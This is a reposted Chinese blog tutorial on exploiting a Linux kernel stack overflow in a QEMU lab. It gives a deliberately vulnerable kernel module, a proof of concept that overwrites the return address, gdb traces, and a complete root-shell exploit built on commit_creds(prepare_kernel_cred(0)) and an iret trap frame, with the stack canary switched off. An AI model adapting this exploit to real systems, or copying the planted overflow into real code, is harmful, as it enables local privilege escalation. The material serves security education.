zoukankan      html  css  js  c++  java
  • Kernel Stack Overflow(转)

    0x00 漏洞代码

    stack_smashing.c
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/proc_fs.h>
    int bug2_write(struct file *file,const char *buf,unsigned long len)
    {
        char localbuf[8];
        memcpy(localbuf,buf,len);
        return len;
    }
    static int __init stack_smashing_init(void)
    {
        printk(KERN_ALERT "stack_smashing driver init!
    ");
        create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
        return 0;
    }
    static void __exit stack_smashing_exit(void)
    {
        printk(KERN_ALERT "stack_smashing driver exit!
    ");
    }
    module_init(stack_smashing_init);
    module_exit(stack_smashing_exit);
    

    Makefile 

    obj-m := stack_smashing.o  
    KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
    PWD := $(shell pwd)  
    modules:  
            $(MAKE) -C $(KERNELDR) M=$(PWD) modules  
    moduels_install:  
            $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
    clean:  
            rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
    

    和用户态的栈溢出原理一样,拷贝、拼接字符串的时候未作长度检查,导致覆盖栈上保存的返回地址,只后可以劫持程序流程,从而实现代码执行的效果。只不过这是在内核空间,可以直接用来提权。

    将漏洞代码编译,将 stack_smashing.ko复制进/busybox-1.27.2/_install/usr/

    0x01 poc

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    int main(){
        char buf[24] = {0};
        memset(buf,"A",24);
        *((void**)(buf + 20)) = 0x42424242;
        int fd = open("/proc/bug2",O_WRONLY);
        write(fd,buf,sizeof(buf));
    }
    

    可以看到payload结构很简单,直接就是buffer+eip。将poc编译复制到/busybox-1.27.2/_install/usr/

    我们编译的kernel默认开启canary的,如果直接这么去运行POC,会直接kernel panic,无法利用,所以需要关闭canary选项,重新编译一个内核。编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR这一行,然后重新编译内核。

    再运行qemu.

    $ find . | cpio -o --format=newc > ../rootfs.img
    $ qemu-system-i386 -kernel arch/i386/boot/bzImage -initrd ../busybox-1.27.2/rootfs.img -append "root=/dev/ram rdinit=/sbin/init"
    

    由于stack_smashing模块并没有作为vmlinux的一部分传给gdb,因此必须通过某种方法把模块信息告知gdb,可以通过add-symbol-file命令把模块的详细信息告知gdb,由于模块也是一个elf文件,需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。由于stack_smashing模块没有bss和data节区所以只需要指定text即可。qemu中设置好gdbserver后,找到模块的.text段的地址

    grep 0 /sys/module/stack_smashing/sections/.text

     在主机的linux-2.6.32.1目录中用gdb连接:

    (gdb) target remote :1234
    Remote debugging using :1234
    current_thread_info ()
        at /home/hjy/Desktop/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
    186	/home/hjy/Desktop/linux-2.6.32.1/arch/x86/include/asm/thread_info.h: No such file or directory.
    (gdb) add-symbol-file /home/hjy/Desktop/stack_smashing/stack_smashing.ko 0xc8830000
    add symbol table from file "/home/hjy/Desktop/stack_smashing/stack_smashing.ko" at
    	.text_addr = 0xc8830000
    (y or n) EOF [assumed Y]
    Reading symbols from /home/hjy/Desktop/stack_smashing/stack_smashing.ko...done.
    (gdb) b bug2_write
    Breakpoint 1 at 0xc8830000: file /home/hjy/Desktop/stack_smashing/stack_smashing.c, line 6.
    (gdb) c
    Continuing.
    

    qemu中运行poc之后,主机gdb命中断点:

    Breakpoint 1, bug2_write (file=0xc78bd680, 
        buf=0xbfc95484 '(' <repeats 20 times>, "BBBB", len=24)
        at /home/hjy/Desktop/stack_smashing/stack_smashing.c:6
    6	{
    (gdb) x/20i $eip
    => 0xc8830000 <bug2_write>:	push   %ebp
       0xc8830001 <bug2_write+1>:	mov    %esp,%ebp
       0xc8830003 <bug2_write+3>:	push   %edi
       0xc8830004 <bug2_write+4>:	push   %esi
       0xc8830005 <bug2_write+5>:	sub    $0x8,%esp
       0xc8830008 <bug2_write+8>:	nopl   0x0(%eax,%eax,1)
       0xc883000d <bug2_write+13>:	mov    %ecx,%eax
       0xc883000f <bug2_write+15>:	mov    %edx,%esi
       0xc8830011 <bug2_write+17>:	shr    $0x2,%ecx
       0xc8830014 <bug2_write+20>:	lea    -0x10(%ebp),%edi
       0xc8830017 <bug2_write+23>:	rep movsl %ds:(%esi),%es:(%edi)
       0xc8830019 <bug2_write+25>:	mov    %eax,%ecx
       0xc883001b <bug2_write+27>:	and    $0x3,%ecx
       0xc883001e <bug2_write+30>:	je     0xc8830022 <bug2_write+34>
       0xc8830020 <bug2_write+32>:	rep movsb %ds:(%esi),%es:(%edi)
       0xc8830022 <bug2_write+34>:	add    $0x8,%esp
       0xc8830025 <bug2_write+37>:	pop    %esi
       0xc8830026 <bug2_write+38>:	pop    %edi
       0xc8830027 <bug2_write+39>:	pop    %ebp
       0xc8830028 <bug2_write+40>:	ret    
    (gdb) break *bug2_write+40
    Breakpoint 2 at 0xc8830028: file /home/hjy/Desktop/stack_smashing/stack_smashing.c, line 10.
    (gdb) c
    Continuing.
    
    Breakpoint 2, 0xc8830028 in bug2_write (file=<optimized out>, 
        buf=0xbfc95484 '(' <repeats 20 times>, "BBBB", len=24)
        at /home/hjy/Desktop/stack_smashing/stack_smashing.c:10
    10	}
    (gdb) x/4wx $esp
    0xc7865f30:	0x42424242	0x00000000	0x00000018	0xc7861ae0
    (gdb) 
    

    可以看到如果继续执行,程序就会返回到预期的值0x42424242。

    0x02 exploit

           拿到shell的思路还是利用commit_creds(prepare_kernel_cred(0)),然后返回到用户模式,返回到用户模式执行iret指令。当使用iret指令返回到相同保护级别的任务时,iret会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。当使用iret指令返回到一个不同的保护级别时,iret不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。栈上保存了trap frame,返回到用户模式的时候恢复信息从以下结构读取。

    struct trap_frame {
        void *eip;       // instruction pointer +0
        uint32_t cs;     // code segment +4
        uint32_t eflags; // CPU flags +8
        void *esp;       // stack pointer +12
        uint32_t ss;     // stack segment +16
    } __attribute__((packed));
    

      在qemu中获得两个函数的地址:

           exploit代码如下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <string.h>
    #include <stdint.h>
    
    struct trap_frame {
        void *eip;
        uint32_t cs;
        uint32_t eflags;
        void *esp;
        uint32_t ss;
    }__attribute__((packed));
    
    struct trap_frame tf;
    
    void get_shell(void)
    {
        execl("/bin/sh", "sh", NULL);
    }
    
    void init_tf_work(void)
    {
        asm("pushl %cs; popl tf+4;" // set cs
            "pushfl; popl tf+8;" // set eflags
            "pushl %esp; popl tf+12;"
            "pushl %ss; popl tf+16;");
        tf.eip = &get_shell;
        tf.esp -= 1024;
    }
    #define KERNCALL __attribute__((regparm(3)))
    void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xc1067d20;
    void *(*commit_creds)(void *) KERNCALL = (void *) 0xc1067b80;
    
    void payload(void)
    {
        commit_creds(prepare_kernel_cred(0));
        asm("mov $tf, %esp;"
            "iret;");
    }
    
    int main(void)
    {
        char buf[24];
        memset(buf, 'A', 24);
        *((void **)(buf+20)) = &payload; // set eip to payload
        init_tf_work();
        int fd = open("/proc/bug2", O_WRONLY);
        // exploit
        write(fd, buf, sizeof(buf));
        return 0;
    }
    

      将 exploit编译放入/busybox-1.27.2/_install/usr/中,再启动qemu运行exploit。(在运行exp之前先adduser一个用户)

     成功获取root!

    0x03 参考链接

    swing

    muhe:Linux 内核漏洞利用教程(二):两个Demo

  • 相关阅读:
    ImageIO 操作图片
    ThreadLocal
    Mysql表字段命令alter add
    php中的for循环和js中的for循环
    获取当前URL地址和$_GET获取参数
    apache中的vhosts的配置。
    PHP获取前台传过来的时间年份,进行处理。
    php中的htmlspecialchars_decode()函数
    php分页类代码和使用
    cookies插件,记住cookies
  • 原文地址:https://www.cnblogs.com/elvirangel/p/7473475.html
Copyright © 2011-2022 走看看